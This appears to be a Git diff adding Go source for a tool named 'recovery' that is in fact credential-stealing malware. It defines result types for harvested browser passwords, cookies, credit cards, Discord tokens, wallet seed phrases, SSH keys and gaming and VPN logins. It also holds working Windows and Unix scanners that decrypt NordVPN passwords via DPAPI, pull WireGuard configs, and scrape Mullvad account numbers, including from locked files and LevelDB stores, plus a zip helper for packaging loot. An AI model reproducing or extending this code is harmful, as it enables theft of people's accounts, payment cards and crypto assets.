||||
Secure bool `json:"secure"`
|
||||
HTTPOnly bool `json:"httpOnly"`
|
||||
ExpiresUTC int64 `json:"expiresUtc"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type AutofillResult struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
DateCreated int64 `json:"dateCreated"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type HistoryResult struct {
|
||||
URL string `json:"url"`
|
||||
Title string `json:"title"`
|
||||
VisitTimeUnix int64 `json:"visitTimeUnix"`
|
||||
VisitCount int64 `json:"visitCount"`
|
||||
LastVisitTime int64 `json:"lastVisitTime"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type BookmarkResult struct {
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type CreditCardResult struct {
|
||||
NameOnCard string `json:"nameOnCard"`
|
||||
ExpirationMonth int `json:"expirationMonth"`
|
||||
ExpirationYear int `json:"expirationYear"`
|
||||
CardNumber string `json:"cardNumber"`
|
||||
Nickname string `json:"nickname"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type DiscordTokenResult struct {
|
||||
Token string `json:"token"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
|
||||
type FileResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
Ext string `json:"ext"`
|
||||
Size int64 `json:"size"`
|
||||
Modified int64 `json:"modified"`
|
||||
Dir string `json:"dir"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
}
|
||||
|
||||
type ExtensionResult struct {
|
||||
ExtID string `json:"extId"`
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
Path string `json:"path"`
|
||||
Category string `json:"category,omitempty"`
|
||||
}
|
||||
|
||||
type WalletResult struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Path string `json:"path"`
|
||||
Files int `json:"files"`
|
||||
Size int64 `json:"size"`
|
||||
Addresses []string `json:"addresses,omitempty"`
|
||||
VaultData string `json:"vaultData,omitempty"`
|
||||
}
|
||||
|
||||
type AppCredentialResult struct {
|
||||
Application string `json:"application"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
Extra string `json:"extra,omitempty"`
|
||||
}
|
||||
|
||||
type CollectionResult struct {
|
||||
Passwords []PasswordResult `json:"passwords,omitempty"`
|
||||
Cookies []CookieResult `json:"cookies,omitempty"`
|
||||
Autofill []AutofillResult `json:"autofill,omitempty"`
|
||||
History []HistoryResult `json:"history,omitempty"`
|
||||
Bookmarks []BookmarkResult `json:"bookmarks,omitempty"`
|
||||
CreditCards []CreditCardResult `json:"creditCards,omitempty"`
|
||||
DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"`
|
||||
Files []FileResult `json:"files,omitempty"`
|
||||
Extensions []ExtensionResult `json:"extensions,omitempty"`
|
||||
Wallets []WalletResult `json:"wallets,omitempty"`
|
||||
Telegram []TelegramResult `json:"telegram,omitempty"`
|
||||
Keys []KeyResult `json:"keys,omitempty"`
|
||||
AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"`
|
||||
Gaming *GamingResult `json:"gaming,omitempty"`
|
||||
VPNs *VPNResult `json:"vpns,omitempty"`
|
||||
Errors []string `json:"errors,omitempty"`
|
||||
}
|
||||
|
||||
type TelegramResult struct {
|
||||
Account string `json:"account"`
|
||||
Path string `json:"path"`
|
||||
Files int `json:"files"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
type KeyResult struct {
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path"`
|
||||
Size int64 `json:"size"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
type SeedResult struct {
|
||||
Source string `json:"source"`
|
||||
Path string `json:"path"`
|
||||
Phrase string `json:"phrase"`
|
||||
Words int `json:"words"`
|
||||
}
|
||||
|
||||
type GameInfo struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Installed bool `json:"installed"`
|
||||
Running bool `json:"running"`
|
||||
}
|
||||
|
||||
type SteamResult struct {
|
||||
SteamPath string `json:"steamPath,omitempty"`
|
||||
AutoLogin string `json:"autoLogin,omitempty"`
|
||||
RememberPW bool `json:"rememberPw,omitempty"`
|
||||
Account string `json:"account,omitempty"`
|
||||
Token string `json:"token,omitempty"`
|
||||
SSFNFiles []string `json:"ssfnFiles,omitempty"`
|
||||
Games []GameInfo `json:"games,omitempty"`
|
||||
}
|
||||
|
||||
type BattleNetResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type EpicResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type RiotResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type UplayResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type GamingResult struct {
|
||||
Steam *SteamResult `json:"steam,omitempty"`
|
||||
BattleNet []BattleNetResult `json:"battleNet,omitempty"`
|
||||
Epic []EpicResult `json:"epic,omitempty"`
|
||||
Riot []RiotResult `json:"riot,omitempty"`
|
||||
Uplay []UplayResult `json:"uplay,omitempty"`
|
||||
}
|
||||
|
||||
type NordVPNResult struct {
|
||||
Version string `json:"version"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
type WireGuardResult struct {
|
||||
Name string `json:"name"`
|
||||
Interface string `json:"interface,omitempty"`
|
||||
Peer string `json:"peer,omitempty"`
|
||||
Endpoint string `json:"endpoint,omitempty"`
|
||||
}
|
||||
|
||||
type OpenVPNResult struct {
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type MullvadResult struct {
|
||||
AccountNumber string `json:"accountNumber"`
|
||||
SettingsPath string `json:"settingsPath"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
type VPNResult struct {
|
||||
NordVPN []NordVPNResult `json:"nordvpn,omitempty"`
|
||||
WireGuard []WireGuardResult `json:"wireguard,omitempty"`
|
||||
OpenVPN []OpenVPNResult `json:"openvpn,omitempty"`
|
||||
Mullvad []MullvadResult `json:"mullvad,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanVPNs() *types.VPNResult {
|
||||
result := &types.VPNResult{
|
||||
WireGuard: scanWireGuardUnix(),
|
||||
OpenVPN: scanOpenVPNUnix(),
|
||||
Mullvad: scanMullvadUnix(),
|
||||
}
|
||||
if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanWireGuardUnix() []types.WireGuardResult {
|
||||
var results []types.WireGuardResult
|
||||
|
||||
configDirs := []string{"/etc/wireguard"}
|
||||
if runtime.GOOS == "darwin" {
|
||||
configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
|
||||
}
|
||||
|
||||
for _, configDir := range configDirs {
|
||||
if !pathExists(configDir) {
|
||||
continue
|
||||
}
|
||||
entries, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
|
||||
continue
|
||||
}
|
||||
filePath := filepath.Join(configDir, e.Name())
|
||||
confData, err := os.ReadFile(filePath)
|
||||
if err != nil || len(confData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var iface, peer, endpoint string
|
||||
for _, line := range strings.Split(string(confData), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if key, val, ok := strings.Cut(line, "="); ok {
|
||||
key = strings.TrimSpace(key)
|
||||
val = strings.TrimSpace(val)
|
||||
switch key {
|
||||
case "Address":
|
||||
iface = val
|
||||
case "Endpoint":
|
||||
endpoint = val
|
||||
case "PublicKey":
|
||||
if peer == "" {
|
||||
peer = val
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.WireGuardResult{
|
||||
Name: e.Name(),
|
||||
Interface: iface,
|
||||
Peer: peer,
|
||||
Endpoint: endpoint,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanOpenVPNUnix() []types.OpenVPNResult {
|
||||
var results []types.OpenVPNResult
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
|
||||
if home != "" {
|
||||
ovpnDirs = append(ovpnDirs,
|
||||
filepath.Join(home, ".config", "openvpn"),
|
||||
filepath.Join(home, "OpenVPN", "config"),
|
||||
)
|
||||
if runtime.GOOS == "darwin" {
|
||||
ovpnDirs = append(ovpnDirs,
|
||||
filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ovpnDir := range ovpnDirs {
|
||||
if !pathExists(ovpnDir) {
|
||||
continue
|
||||
}
|
||||
entries, err := os.ReadDir(ovpnDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.OpenVPNResult{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(ovpnDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanMullvadUnix() []types.MullvadResult {
|
||||
var results []types.MullvadResult
|
||||
|
||||
configDirs := []string{"/etc/mullvad-vpn"}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
if runtime.GOOS == "darwin" {
|
||||
configDirs = append(configDirs,
|
||||
filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
|
||||
)
|
||||
} else {
|
||||
configDirs = append(configDirs,
|
||||
filepath.Join(home, ".config", "Mullvad VPN"),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
for _, dir := range configDirs {
|
||||
if !pathExists(dir) {
|
||||
continue
|
||||
}
|
||||
for _, name := range []string{"settings.json", "account-history.json"} {
|
||||
path := filepath.Join(dir, name)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
var raw map[string]json.RawMessage
|
||||
if json.Unmarshal(data, &raw) != nil {
|
||||
var token string
|
||||
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
}
|
||||
continue
|
||||
}
|
||||
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
|
||||
v, ok := raw[key]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
var token string
|
||||
if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
|
||||
for _, r := range results {
|
||||
if r.AccountNumber == account {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanVPNs() *types.VPNResult {
|
||||
result := &types.VPNResult{
|
||||
NordVPN: scanNordVPN(),
|
||||
WireGuard: scanWireGuard(),
|
||||
OpenVPN: scanOpenVPN(),
|
||||
Mullvad: scanMullvad(),
|
||||
}
|
||||
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scanNordVPN() []types.NordVPNResult {
|
||||
var results []types.NordVPNResult
|
||||
|
||||
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
|
||||
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
|
||||
if !pathExists(nordDir) {
|
||||
return nil
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(nordDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
|
||||
continue
|
||||
}
|
||||
|
||||
versionsDir := filepath.Join(nordDir, e.Name())
|
||||
subEntries, _ := os.ReadDir(versionsDir)
|
||||
|
||||
for _, sub := range subEntries {
|
||||
if !sub.IsDir() {
|
||||
continue
|
||||
}
|
||||
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
|
||||
if !pathExists(configPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
username := extractNordVPNValue(data, "Username")
|
||||
password := extractNordVPNValue(data, "Password")
|
||||
|
||||
if username != "" && password != "" {
|
||||
results = append(results, types.NordVPNResult{
|
||||
Version: e.Name(),
|
||||
Username: username,
|
||||
Password: password,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractNordVPNValue(data []byte, field string) string {
|
||||
content := string(data)
|
||||
idx := strings.Index(content, `name="`+field+`"`)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
|
||||
start := strings.Index(content[idx:], "<value>")
|
||||
end := strings.Index(content[idx:], "</value>")
|
||||
if start == -1 || end == -1 || end < start {
|
||||
return ""
|
||||
}
|
||||
|
||||
raw := content[idx+start+7 : idx+end]
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return raw
|
||||
}
|
||||
|
||||
plaintext, err := dpapiDecrypt(decoded, nil)
|
||||
if err != nil || len(plaintext) == 0 {
|
||||
return raw
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(plaintext), "\x00")
|
||||
}
|
||||
|
||||
func scanWireGuard() []types.WireGuardResult {
|
||||
var results []types.WireGuardResult
|
||||
|
||||
configDirs := []string{
|
||||
`C:\Program Files\WireGuard\Data\Configurations`,
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
|
||||
}
|
||||
|
||||
for _, configDir := range configDirs {
|
||||
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
|
||||
if !pathExists(configDir) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
logf("[vpn] WireGuard dir has %d entries", len(entries))
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
name := e.Name()
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
filePath := filepath.Join(configDir, name)
|
||||
|
||||
var confData []byte
|
||||
|
||||
if ext == ".dpapi" {
|
||||
confData, err = dpapiDecryptFile(filePath)
|
||||
name = strings.TrimSuffix(name, ".dpapi")
|
||||
} else if ext == ".conf" {
|
||||
confData, err = os.ReadFile(filePath)
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
|
||||
if err != nil || len(confData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var iface, peer, endpoint string
|
||||
for _, line := range normLines(string(confData)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if key, val, ok := strings.Cut(line, "="); ok {
|
||||
key = strings.TrimSpace(key)
|
||||
val = strings.TrimSpace(val)
|
||||
switch key {
|
||||
case "Address":
|
||||
iface = val
|
||||
case "Endpoint":
|
||||
endpoint = val
|
||||
case "PublicKey":
|
||||
if peer == "" {
|
||||
peer = val
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.WireGuardResult{
|
||||
Name: name,
|
||||
Interface: iface,
|
||||
Peer: peer,
|
||||
Endpoint: endpoint,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func dpapiDecryptFile(path string) ([]byte, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dpapiDecrypt(data, nil)
|
||||
}
|
||||
|
||||
func scanOpenVPN() []types.OpenVPNResult {
|
||||
var results []types.OpenVPNResult
|
||||
|
||||
ovpnDirs := []string{
|
||||
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
|
||||
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
|
||||
}
|
||||
|
||||
for _, ovpnDir := range ovpnDirs {
|
||||
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
|
||||
if !pathExists(ovpnDir) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(ovpnDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
logf("[vpn] OpenVPN dir has %d entries", len(entries))
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.OpenVPNResult{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(ovpnDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanMullvad() []types.MullvadResult {
|
||||
var results []types.MullvadResult
|
||||
|
||||
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
|
||||
|
||||
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
|
||||
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
|
||||
if pathExists(systemProfile) {
|
||||
sysSettings := filepath.Join(systemProfile, "settings.json")
|
||||
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
|
||||
mullvadTryJSON(&results, sysSettings)
|
||||
|
||||
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
|
||||
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
|
||||
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
|
||||
}
|
||||
|
||||
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
|
||||
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
|
||||
mullvadTryJSON(&results, daemonSettings)
|
||||
|
||||
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
|
||||
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
|
||||
if pathExists(guiDir) {
|
||||
guiSettings := filepath.Join(guiDir, "gui_settings.json")
|
||||
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
|
||||
mullvadTryJSON(&results, guiSettings)
|
||||
|
||||
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
|
||||
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
|
||||
if pathExists(lsDir) {
|
||||
mullvadScanLevelDB(&results, lsDir, guiDir)
|
||||
}
|
||||
}
|
||||
|
||||
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
|
||||
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
|
||||
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
|
||||
|
||||
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
|
||||
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
|
||||
if pathExists(legacyPath) {
|
||||
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
|
||||
var account string
|
||||
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
|
||||
account = strings.TrimRight(string(decrypted), "\x00")
|
||||
}
|
||||
if account == "" {
|
||||
for _, line := range normLines(strings.TrimSpace(string(data))) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" {
|
||||
account = line
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if account != "" && !mullvadAlreadyFound(results, account) {
|
||||
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
|
||||
if !pathExists(path) {
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
return
|
||||
}
|
||||
var raw map[string]json.RawMessage
|
||||
if json.Unmarshal(data, &raw) != nil {
|
||||
return
|
||||
}
|
||||
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
|
||||
v, ok := raw[key]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
var token string
|
||||
if json.Unmarshal(v, &token) == nil && token != "" {
|
||||
logf("[vpn] Mullvad found token via key %q in %s", key, path)
|
||||
if !mullvadAlreadyFound(*results, token) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
|
||||
if !pathExists(path) {
|
||||
return
|
||||
}
|
||||
data, err := platform.ReadLockedFile(path, pids)
|
||||
if err != nil || len(data) == 0 {
|
||||
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
|
||||
return
|
||||
}
|
||||
rawContent := strings.TrimSpace(string(data))
|
||||
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
|
||||
|
||||
var token string
|
||||
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
|
||||
}
|
||||
var tokens []string
|
||||
if json.Unmarshal(data, &tokens) == nil {
|
||||
for _, t := range tokens {
|
||||
if t != "" && !mullvadAlreadyFound(*results, t) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
|
||||
entries, err := os.ReadDir(lsDir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, e := range entries {
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
// Mullvad account numbers are 16 decimal digits
|
||||
for i := 0; i <= len(content)-16; i++ {
|
||||
if isDigit(content[i]) {
|
||||
end := i
|
||||
for end < len(content) && isDigit(content[end]) {
|
||||
end++
|
||||
}
|
||||
seq := content[i:end]
|
||||
if len(seq) == 16 {
|
||||
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
|
||||
if !mullvadAlreadyFound(*results, seq) {
|
||||
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
|
||||
}
|
||||
}
|
||||
i = end
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isDigit(c byte) bool {
|
||||
return c >= '0' && c <= '9'
|
||||
}
|
||||
|
||||
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
|
||||
for _, r := range results {
|
||||
if r.AccountNumber == account {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package ziputil
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const maxZipSize = 50 * 1024 * 1024 // 50 MB
|
||||
|
||||
func ZipDirectory(dir string) ([]byte, error) {
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
return nil, fmt.Errorf("directory not found: %s", dir)
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
baseName := filepath.Base(dir)
|
||||
|
||||
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
rel, err := filepath.Rel(dir, path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
zipEntry := baseName + "/" + filepath.ToSlash(rel)
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
w, err := zw.Create(zipEntry)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
io.Copy(w, f) //nolint:errcheck
|
||||
return nil
|
||||
})
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if buf.Len() > maxZipSize {
|
||||
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
|
||||
func ZipFiles(paths []string, baseDir string) ([]byte, error) {
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
|
||||
for _, p := range paths {
|
||||
rel, err := filepath.Rel(baseDir, p)
|
||||
if err != nil {
|
||||
rel = filepath.Base(p)
|
||||
}
|
||||
f, err := os.Open(p)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
w, err := zw.Create(filepath.ToSlash(rel))
|
||||
if err != nil {
|
||||
f.Close()
|
||||
continue
|
||||
}
|
||||
io.Copy(w, f)
|
||||
f.Close()
|
||||
}
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if buf.Len() > maxZipSize {
|
||||
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
Reference in New Issue
Block a user